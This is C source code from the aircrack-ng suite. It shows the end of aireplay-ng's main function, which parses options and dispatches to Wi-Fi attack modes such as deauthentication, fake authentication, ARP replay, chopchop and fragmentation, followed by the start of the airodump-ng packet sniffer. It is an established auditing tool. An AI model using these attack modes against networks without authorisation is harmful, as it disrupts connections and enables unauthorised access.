{"fragment", 0, 0, '5'},
{"caffe-latte", 0, 0, '6'},
{"cfrag", 0, 0, '7'},
{"test", 0, 0, '9'},
{"help", 0, 0, 'H'},
{"fast", 0, 0, 'F'},
{"bittest", 0, 0, 'B'},
{"migmode", 0, 0, '8'},
{"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
{"deauth-rc", 1, 0, 'Z'},
{0, 0, 0, 0}};
int option = getopt_long(argc,
argv,
"b:d:s:m:n:u:v:t:Z:T:f:g:w:x:p:a:c:h:e:ji:r:k:"
"l:y:o:q:Q0:1:23456789HFBDR",
long_options,
&option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
case 'b':
if (getmac(optarg, 1, opt.f_bssid) != 0)
{
printf("Invalid BSSID (AP MAC address).\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'd':
if (getmac(optarg, 1, opt.f_dmac) != 0)
{
printf("Invalid destination MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 's':
if (getmac(optarg, 1, opt.f_smac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'm':
ret = sscanf(optarg, "%d", &opt.f_minlen);
if (opt.f_minlen < 0 || ret != 1)
{
printf("Invalid minimum length filter. [>=0]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'n':
ret = sscanf(optarg, "%d", &opt.f_maxlen);
if (opt.f_maxlen < 0 || ret != 1)
{
printf("Invalid maximum length filter. [>=0]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'u':
ret = sscanf(optarg, "%d", &opt.f_type);
if (opt.f_type < 0 || opt.f_type > 3 || ret != 1)
{
printf("Invalid type filter. [0-3]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'v':
ret = sscanf(optarg, "%d", &opt.f_subtype);
if (opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1)
{
printf("Invalid subtype filter. [0-15]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'T':
ret = sscanf(optarg, "%d", &opt.f_retry);
if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1))
{
printf("Invalid retry setting. [1-65535]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 't':
ret = sscanf(optarg, "%d", &opt.f_tods);
if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
{
printf("Invalid tods filter. [0,1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'f':
ret = sscanf(optarg, "%d", &opt.f_fromds);
if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
{
printf("Invalid fromds filter. [0,1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'w':
ret = sscanf(optarg, "%d", &opt.f_iswep);
if ((opt.f_iswep != 0 && opt.f_iswep != 1) || ret != 1)
{
printf("Invalid wep filter. [0,1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'x':
ret = sscanf(optarg, "%d", &opt.r_nbpps);
if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
{
printf("Invalid number of packets per second. [1-1024]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'Z':
ret = sscanf(optarg, "%hhu", &opt.deauth_rc);
if (ret != 1)
{
printf("Invalid deauth reason. [0-254]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'o':
ret = sscanf(optarg, "%d", &opt.npackets);
if (opt.npackets < 0 || opt.npackets > 512 || ret != 1)
{
printf("Invalid number of packets per burst. [0-512]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'q':
ret = sscanf(optarg, "%d", &opt.delay);
if (opt.delay < 1 || opt.delay > 600 || ret != 1)
{
printf("Invalid number of seconds. [1-600]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'Q':
opt.reassoc = 1;
break;
case 'p':
ret = sscanf(optarg, "%x", &opt.r_fctrl);
if (opt.r_fctrl > 65535 || ret != 1)
{
printf("Invalid frame control word. [0-65535]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'a':
if (getmac(optarg, 1, opt.r_bssid) != 0)
{
printf("Invalid AP MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'c':
if (getmac(optarg, 1, opt.r_dmac) != 0)
{
printf("Invalid destination MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'g':
ret = sscanf(optarg, "%d", &opt.ringbuffer);
if (opt.ringbuffer < 1 || ret != 1)
{
printf("Invalid replay ring buffer size. [>=1]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case 'h':
if (getmac(optarg, 1, opt.r_smac) != 0)
{
printf("Invalid source MAC address.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.r_smac_set = 1;
break;
case 'e':
memset(opt.r_essid, 0, sizeof(opt.r_essid));
strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
break;
case 'j':
opt.r_fromdsinj = 1;
break;
case 'D':
opt.nodetect = 1;
break;
case 'k':
inet_aton(optarg, (struct in_addr *) opt.r_dip);
break;
case 'l':
inet_aton(optarg, (struct in_addr *) opt.r_sip);
break;
case 'y':
if (opt.prga != NULL)
{
printf("PRGA file already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if (read_prga(&(opt.prga), optarg) != 0)
{
return (1);
}
break;
case 'i':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.s_face = optarg;
opt.port_in
= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
break;
case 'r':
if (opt.s_face != NULL || opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.s_file = optarg;
break;
case 'z':
opt.ghost = 1;
break;
case '0':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 0;
for (i = 0; optarg[i] != 0; i++)
{
if (isdigit((int) optarg[i]) == 0) break;
}
ret = sscanf(optarg, "%d", &opt.a_count);
if (opt.a_count < 0 || optarg[i] != 0 || ret != 1)
{
printf("Invalid deauthentication count or missing value. "
"[>=0]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case '1':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 1;
for (i = 0; optarg[i] != 0; i++)
{
if (isdigit((int) optarg[i]) == 0) break;
}
ret = sscanf(optarg, "%d", &opt.a_delay);
if (opt.a_delay < 0 || optarg[i] != 0 || ret != 1)
{
printf("Invalid reauthentication delay or missing value. "
"[>=0]\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
break;
case '2':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 2;
break;
case '3':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 3;
break;
case '4':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 4;
break;
case '5':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 5;
break;
case '6':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 6;
break;
case '7':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 7;
break;
case '9':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 9;
break;
case '8':
if (opt.a_mode != -1)
{
printf("Attack mode already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
opt.a_mode = 8;
break;
case 'F':
opt.fast = 1;
break;
case 'B':
opt.bittest = 1;
break;
case 'H':
printf(usage,
getVersion("Aireplay-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
return (1);
case 'R':
opt.rtc = 0;
break;
default:
goto usage;
}
}
if (argc - optind != 1)
{
if (argc == 1)
{
usage:
printf(usage,
getVersion("Aireplay-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
}
if (argc - optind == 0)
{
printf("No replay interface specified.\n");
}
if (argc > 1)
{
printf("\"%s --help\" for help.\n", argv[0]);
}
return (1);
}
if (opt.a_mode == -1)
{
printf("Please specify an attack mode.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
{
printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
opt.f_minlen,
opt.f_maxlen);
printf("\"%s --help\" for help.\n", argv[0]);
return (1);
}
if (opt.f_tods == 1 && opt.f_fromds == 1)
{
printf("FromDS and ToDS bit are set: packet has to come from the AP "
"and go to the AP\n");
}
dev.fd_rtc = -1;
/* open the RTC device if necessary */
#if defined(__i386__)
#if defined(linux)
if (opt.a_mode > 1)
{
if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
{
dev.fd_rtc = 0;
}
if ((dev.fd_rtc == 0)
&& ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
{
dev.fd_rtc = 0;
}
if (opt.rtc == 0)
{
dev.fd_rtc = -1;
}
if (dev.fd_rtc > 0)
{
if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
{
perror("ioctl(RTC_IRQP_SET) failed");
printf("Make sure enhanced rtc device support is enabled in "
"the kernel (module\n"
"rtc, not genrtc) - also try 'echo 1024 "
">/proc/sys/dev/rtc/max-user-freq'.\n");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
else
{
if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
{
perror("ioctl(RTC_PIE_ON) failed");
close(dev.fd_rtc);
dev.fd_rtc = -1;
}
}
}
else
{
printf("For information, no action required:"
" Using gettimeofday() instead of /dev/rtc\n");
dev.fd_rtc = -1;
}
}
#endif /* linux */
#endif /* i386 */
opt.iface_out = argv[optind];
opt.port_out
= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
// don't open interface(s) when using test mode and airserv
if (!(opt.a_mode == 9 && opt.port_out >= 0))
{
/* open the replay interface */
_wi_out = wi_open(opt.iface_out);
if (!_wi_out) return 1;
dev.fd_out = wi_fd(_wi_out);
/* open the packet source */
if (opt.s_face != NULL)
{
// don't open interface(s) when using test mode and airserv
if (!(opt.a_mode == 9 && opt.port_in >= 0))
{
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return 1;
dev.fd_in = wi_fd(_wi_in);
wi_get_mac(_wi_in, dev.mac_in);
}
}
else
{
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
/* XXX */
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
}
wi_get_mac(_wi_out, dev.mac_out);
}
/* drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
/* XXX */
if (opt.r_nbpps == 0)
{
if (dev.is_wlanng || dev.is_hostap)
opt.r_nbpps = 200;
else
opt.r_nbpps = 500;
}
if (opt.s_file != NULL)
{
if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
{
perror("open failed");
return (1);
}
n = sizeof(struct pcap_file_header);
if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
return (1);
}
if (dev.pfh_in.magic != TCPDUMP_MAGIC
&& dev.pfh_in.magic != TCPDUMP_CIGAM)
{
fprintf(stderr,
"\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
opt.s_file);
return (1);
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
{
fprintf(stderr,
"Wrong linktype from pcap file header "
"(expected LINKTYPE_IEEE802_11) -\n"
"this doesn't look like a regular 802.11 "
"capture.\n");
return (1);
}
}
// if there is no -h given, use default hardware mac
if (maccmp(opt.r_smac, NULL_MAC) == 0)
{
memcpy(opt.r_smac, dev.mac_out, 6);
if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
{
printf("No source MAC (-h) specified. Using the device MAC "
"(%02X:%02X:%02X:%02X:%02X:%02X)\n",
dev.mac_out[0],
dev.mac_out[1],
dev.mac_out[2],
dev.mac_out[3],
dev.mac_out[4],
dev.mac_out[5]);
}
}
if (maccmp(opt.r_smac, dev.mac_out) != 0
&& maccmp(opt.r_smac, NULL_MAC) != 0)
{
// if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment
// to work on madwifi[-ng], set the interface MAC according to
// (-h)!\n");
fprintf(stderr,
"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
" doesn't match the specified MAC (-h).\n"
"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
dev.mac_out[0],
dev.mac_out[1],
dev.mac_out[2],
dev.mac_out[3],
dev.mac_out[4],
dev.mac_out[5],
opt.iface_out,
opt.r_smac[0],
opt.r_smac[1],
opt.r_smac[2],
opt.r_smac[3],
opt.r_smac[4],
opt.r_smac[5]);
}
switch (opt.a_mode)
{
case 0:
return (do_attack_deauth());
case 1:
return (do_attack_fake_auth());
case 2:
return (do_attack_interactive());
case 3:
return (do_attack_arp_resend());
case 4:
return (do_attack_chopchop());
case 5:
return (do_attack_fragment());
case 6:
return (do_attack_caffe_latte());
case 7:
return (do_attack_cfrag());
case 8:
return (do_attack_migmode());
case 9:
return (do_attack_test());
default:
break;
}
/* that's all, folks */
return (0);
} |
C | aircrack-ng/src/airodump-ng/airodump-ng.c | /*
* pcap-compatible 802.11 packet sniffer
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <time.h>
#ifndef TIOCGWINSZ
#include <sys/termios.h>
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#define _WITH_DPRINTF
#include <stdio.h>
#include <ctype.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <pthread.h>
#include <limits.h>
#include <inttypes.h>
#include "aircrack-ng/pcre/compat-pcre.h"
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/ce-wep/uniqueiv.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/osdep/channel.h"
#include "aircrack-ng/osdep/osdep.h"
#include "airodump-ng.h"
#include "dump_write.h"
#include "aircrack-ng/osdep/common.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/support/mcs_index_rates.h"
#include "aircrack-ng/utf8/verifyssid.h"
#include "aircrack-ng/tui/console.h"
#include "radiotap/radiotap.h"
#include "radiotap/radiotap_iter.h"
struct devices dev;
static const unsigned char llcnull[] = {0, 0, 0, 0};
static const char * OUI_PATHS[]
= {"./airodump-ng-oui.txt",
"/etc/aircrack-ng/airodump-ng-oui.txt",
"/usr/local/etc/aircrack-ng/airodump-ng-oui.txt",
"/usr/share/aircrack-ng/airodump-ng-oui.txt",
"/var/lib/misc/oui.txt",
"/usr/share/misc/oui.txt",
"/usr/share/hwdata/oui.txt",
"/var/lib/ieee-data/oui.txt",
"/usr/share/ieee-data/oui.txt",
"/etc/manuf/oui.txt",
"/usr/share/wireshark/wireshark/manuf/oui.txt",
"/usr/share/wireshark/manuf/oui.txt",
NULL};
static int read_pkts = 0;
static int abg_chans[]
= {1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6,
12, 36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58,
60, 62, 64, 100, 102, 104, 106, 108, 110, 112, 114, 116, 118,
120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142, 144, 149,
151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
static int bg_chans[] = {1, 7, 13, 2, 8, 3, 14, 9, 4, 10, 5, 11, 6, 12, 0};
static int a_chans[]
= {36, 38, 40, 42, 44, 46, 48, 50, 52, 54, 56, 58,
60, 62, 64, 100, 102, 104, 106, 108, 110, 112, 114, 116,
118, 120, 122, 124, 126, 128, 132, 134, 136, 138, 140, 142,
144, 149, 151, 153, 155, 157, 159, 161, 165, 169, 173, 0};
static int * frequencies;
static volatile int quitting = 0;
static volatile time_t quitting_event_ts = 0;
static void dump_sort(void);
static void dump_print(int ws_row, int ws_col, int if_num);
static char *
get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2);
int is_filtered_essid(const uint8_t * essid);
/* bunch of global stuff */
struct communication_options opt;
static struct local_options
{
struct AP_info *ap_1st, *ap_end;
struct ST_info *st_1st, *st_end;
struct NA_info * na_1st;
struct oui * manufList;
pMAC_t rBSSID;
unsigned char prev_bssid[6];
char ** f_essid;
int f_essid_count;
#ifdef HAVE_PCRE2
pcre2_code * f_essid_regex;
pcre2_match_data * f_essid_match_data;
#elif defined HAVE_PCRE
pcre * f_essid_regex;
#endif
char * dump_prefix;
char * keyout;
char * batt; /* Battery string */
int channel[MAX_CARDS]; /* current channel # */
int frequency[MAX_CARDS]; /* current frequency # */
int ch_pipe[2]; /* current channel pipe */
int cd_pipe[2]; /* current card pipe */
int gc_pipe[2]; /* gps coordinates pipe */
float gps_loc[8]; /* gps coordinates */
int save_gps; /* keep gps file flag */
int gps_valid_interval; /* how many seconds until we consider the GPS data invalid if we dont get new data */
int * channels;
int singlechan; /* channel hopping set 1*/
int singlefreq; /* frequency hopping: 1 */
int chswitch; /* switching method */
unsigned int f_encrypt; /* encryption filter */
int update_s; /* update delay in sec */
volatile int do_exit; /* interrupt flag */
struct winsize ws; /* console window size */
char * elapsed_time; /* capture time */
int one_beacon; /* Record only 1 beacon?*/
int * own_channels; /* custom channel list */
int * own_frequencies; /* custom frequency list */
int asso_station; /* only show associated stations */
int unasso_station; /* only show unassociated stations */
unsigned char wpa_bssid[6]; /* the wpa handshake bssid */
char message[512];
char decloak;
char is_berlin; /* is the switch --berlin set? */
int numaps; /* number of APs on the current list */
int maxnumaps; /* maximum numbers of APs on the list */
int maxaps; /* number of all APs found */
int berlin; /* number of seconds it takes in berlin to fill the whole screen
with APs*/
/*
* The name for this option may look quite strange, here is the story behind
* it:
* During the CCC2007, 10 august 2007, we (hirte, Mister_X) went to visit
* Berlin
* and couldn't resist to turn on airodump-ng to see how much access point
* we can
* get during the trip from Finowfurt to Berlin. When we were in Berlin, the
* number
* of AP increase really fast, so fast that it couldn't fit in a screen,
* even rotated;
* the list was really huge (we have a picture of that). The 2 minutes
* timeout
* (if the last packet seen is higher than 2 minutes, the AP isn't shown
* anymore)
* wasn't enough, so we decided to create a new option to change that
* timeout.
* We implemented this option in the highest tower (TV Tower) of Berlin,
* eating an ice.
*/
int show_ap;
int show_sta;
int show_ack;
int hide_known;
int hopfreq;
char * s_iface; /* source interface to read from */
FILE * f_cap_in;
struct pcap_file_header pfh_in;
int detect_anomaly; /* Detect WIPS protecting WEP in action */
char * freqstring;
int freqoption;
int chanoption;
int ignore_other_channels;
int active_scan_sim; /* simulates an active scan, sending probe requests */
/* Airodump-ng start time: for kismet netxml file */
char * airodump_start_time;
pthread_t input_tid;
pthread_t gps_tid;
int sort_by;
int sort_inv;
int start_print_ap;
int start_print_sta;
struct AP_info * p_selected_ap;
enum
{
selection_direction_down,
selection_direction_up,
selection_direction_no
} en_selection_direction;
int mark_cur_ap;
int num_cards;
int do_pause;
int do_sort_always;
pthread_mutex_t mx_print; /* lock write access to ap LL */
pthread_mutex_t mx_sort; /* lock write access to ap LL */
unsigned char selected_bssid[6]; /* bssid that is selected */
u_int maxsize_essid_seen;
int show_manufacturer;
int show_uptime;
int file_write_interval;
u_int maxsize_wps_seen;
int show_wps;
struct tm gps_time; /* the timestamp from the gps data */
#ifdef CONFIG_LIBNL
unsigned int htval;
#endif
int background_mode;
unsigned long min_pkts;
int16_t min_power;
int8_t min_rxq;
int relative_time; /* read PCAP in psuedo-real-time */
int color_on;
int color;
} lopt;
static void resetSelection(void)
{
lopt.sort_by = SORT_BY_NOTHING;
lopt.sort_inv = 1;
lopt.relative_time = 0;
lopt.start_print_ap = 1;
lopt.start_print_sta = 1;
lopt.p_selected_ap = NULL;
lopt.en_selection_direction = selection_direction_no;
lopt.mark_cur_ap = 0;
lopt.do_pause = 0;
lopt.do_sort_always = 0;
memset(lopt.selected_bssid, '\x00', 6);
}
static void color_off(void)
{
struct AP_info * ap_cur;
ap_cur = lopt.ap_1st;
while (ap_cur != NULL)
{
ap_cur->marked = 0;
ap_cur->marked_color = 1;
ap_cur = ap_cur->next;
}
textcolor_normal();
textcolor_fg(TEXT_WHITE);
}
static void color_on(void)
{
struct AP_info * ap_cur;
struct ST_info * st_cur;
int i;
int match;
ap_cur = lopt.ap_end;
while (ap_cur != NULL)
{
// Don't filter unassociated stations by number of packets
if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
&& ap_cur->nb_pkt < lopt.min_pkts)
{
ap_cur = ap_cur->prev;
continue;
}
if (time(NULL) - ap_cur->tlast > lopt.berlin)
{
ap_cur = ap_cur->prev;
continue;
}
// Don't filter unassociated stations by power
if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
&& ap_cur->avg_power < (int) lopt.min_power)
{
ap_cur = ap_cur->prev;
continue;
}
// Don't filter unassociated stations by RXQ
if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
&& ((lopt.singlechan || lopt.singlefreq)
&& (ap_cur->rx_quality < (int) lopt.min_rxq)))
{
ap_cur = ap_cur->prev;
continue;
}
if (ap_cur->security != 0 && lopt.f_encrypt != 0
&& ((ap_cur->security & lopt.f_encrypt) == 0))
{
ap_cur = ap_cur->prev;
continue;
}
// Don't filter unassociated stations by ESSID
if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
&& is_filtered_essid(ap_cur->essid))
{
ap_cur = ap_cur->prev;
continue;
}
// Don't filter unassociated stations by channel
if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0 && lopt.chanoption
&& lopt.ignore_other_channels)
{
i = 0;
match = 0;
while (lopt.own_channels[i])
{
if (ap_cur->channel == lopt.own_channels[i])
{
match = 1;
break;
}
i++;
}
if (match != 1)
{
ap_cur = ap_cur->prev;
continue;
}
}
st_cur = lopt.st_end;
while (st_cur != NULL)
{
if (st_cur->base != ap_cur
|| time(NULL) - st_cur->tlast > lopt.berlin)
{
st_cur = st_cur->prev;
continue;
}
if (((memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
&& lopt.asso_station)
|| ((memcmp(ap_cur->bssid, BROADCAST, 6) != 0)
&& lopt.unasso_station))
{
st_cur = st_cur->prev;
continue;
}
if (lopt.color > TEXT_MAX_COLOR) lopt.color++;
if (!ap_cur->marked)
{
ap_cur->marked = 1;
if (!memcmp(ap_cur->bssid, BROADCAST, 6))
ap_cur->marked_color = 1;
else
ap_cur->marked_color = lopt.color++;
}
st_cur = st_cur->prev;
}
ap_cur = ap_cur->prev;
}
}
static THREAD_ENTRY(input_thread)
{
UNUSED_PARAM(arg);
while (lopt.do_exit == 0)
{
int keycode = 0;
keycode = mygetch();
if (keycode == KEY_q)
{
quitting_event_ts = time(NULL);
if (++quitting > 1) //-V1051
lopt.do_exit = 1;
else
snprintf(
lopt.message,
sizeof(lopt.message),
"][ Are you sure you want to quit? Press Q again to quit.");
}
if ((keycode == KEY_o) || (lopt.color_on == 1))
{
color_on();
if (keycode == KEY_o)
{
// display message only once (when key 'o' is pressed)
snprintf(lopt.message, sizeof(lopt.message), "][ color on");
lopt.color_on = 1;
}
}
if (keycode == KEY_p)
{
color_off();
snprintf(lopt.message, sizeof(lopt.message), "][ color off");
lopt.color_on = 0;
// reset color (if color is enabled again it starts again from green)
lopt.color = TEXT_GREEN;
}
if (keycode == KEY_s)
{
lopt.sort_by++;
if (lopt.sort_by > MAX_SORT) lopt.sort_by = 0;
switch (lopt.sort_by)
{
case SORT_BY_NOTHING:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by first seen");
break;
case SORT_BY_BSSID:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by bssid");
break;
case SORT_BY_POWER:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by power level");
break;
case SORT_BY_BEACON:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by beacon number");
break;
case SORT_BY_DATA:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by number of data packets");
break;
case SORT_BY_PRATE:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by packet rate");
break;
case SORT_BY_CHAN:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by channel");
break;
case SORT_BY_MBIT:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by max data rate");
break;
case SORT_BY_ENC:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by encryption");
break;
case SORT_BY_CIPHER:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by cipher");
break;
case SORT_BY_AUTH:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by authentication");
break;
case SORT_BY_ESSID:
snprintf(lopt.message,
sizeof(lopt.message),
"][ sorting by ESSID");
break;
default:
break;
}
ALLEGE(pthread_mutex_lock(&(lopt.mx_sort)) == 0);
dump_sort();
ALLEGE(pthread_mutex_unlock(&(lopt.mx_sort)) == 0);
}
if (keycode == KEY_SPACE)
{
lopt.do_pause = (lopt.do_pause + 1) % 2;
if (lopt.do_pause)
{
snprintf(
lopt.message, sizeof(lopt.message), "][ paused output");
ALLEGE(pthread_mutex_lock(&(lopt.mx_print)) == 0);
dump_print(lopt.ws.ws_row, lopt.ws.ws_col, lopt.num_cards);
ALLEGE(pthread_mutex_unlock(&(lopt.mx_print)) == 0);
}
else
snprintf(
lopt.message, sizeof(lopt.message), "][ resumed output");
}
if (keycode == KEY_r)
{
lopt.do_sort_always = (lopt.do_sort_always + 1) % 2;
if (lopt.do_sort_always)
snprintf(lopt.message,
sizeof(lopt.message),
"][ realtime sorting activated");
else
snprintf(lopt.message,
sizeof(lopt.message),
"][ realtime sorting deactivated");
}
if (keycode == KEY_m)
{
if (lopt.p_selected_ap != NULL)
{
lopt.mark_cur_ap = 1;
}
}
if (keycode == KEY_ARROW_DOWN)
{
if (lopt.p_selected_ap && lopt.p_selected_ap->prev)
{
lopt.p_selected_ap = lopt.p_selected_ap->prev;
lopt.en_selection_direction = selection_direction_down;
}
}
if (keycode == KEY_ARROW_UP)
{
if (lopt.p_selected_ap && lopt.p_selected_ap->next)
{
lopt.p_selected_ap = lopt.p_selected_ap->next;
lopt.en_selection_direction = selection_direction_up;
}
}
if (keycode == KEY_i)
{
lopt.sort_inv *= -1;
if (lopt.sort_inv < 0)
snprintf(lopt.message,
sizeof(lopt.message),
"][ inverted sorting order");
else
snprintf(lopt.message,
sizeof(lopt.message),
"][ normal sorting order");
}
if (keycode == KEY_TAB)
{
if (lopt.p_selected_ap == NULL)
{
lopt.p_selected_ap = lopt.ap_end;
lopt.en_selection_direction = selection_direction_down;
snprintf(lopt.message,
sizeof(lopt.message),
"][ enabled AP selection");
}
else
{
lopt.en_selection_direction = selection_direction_no;
lopt.p_selected_ap = NULL;
snprintf(lopt.message,
sizeof(lopt.message),
"][ disabled selection");
}
}
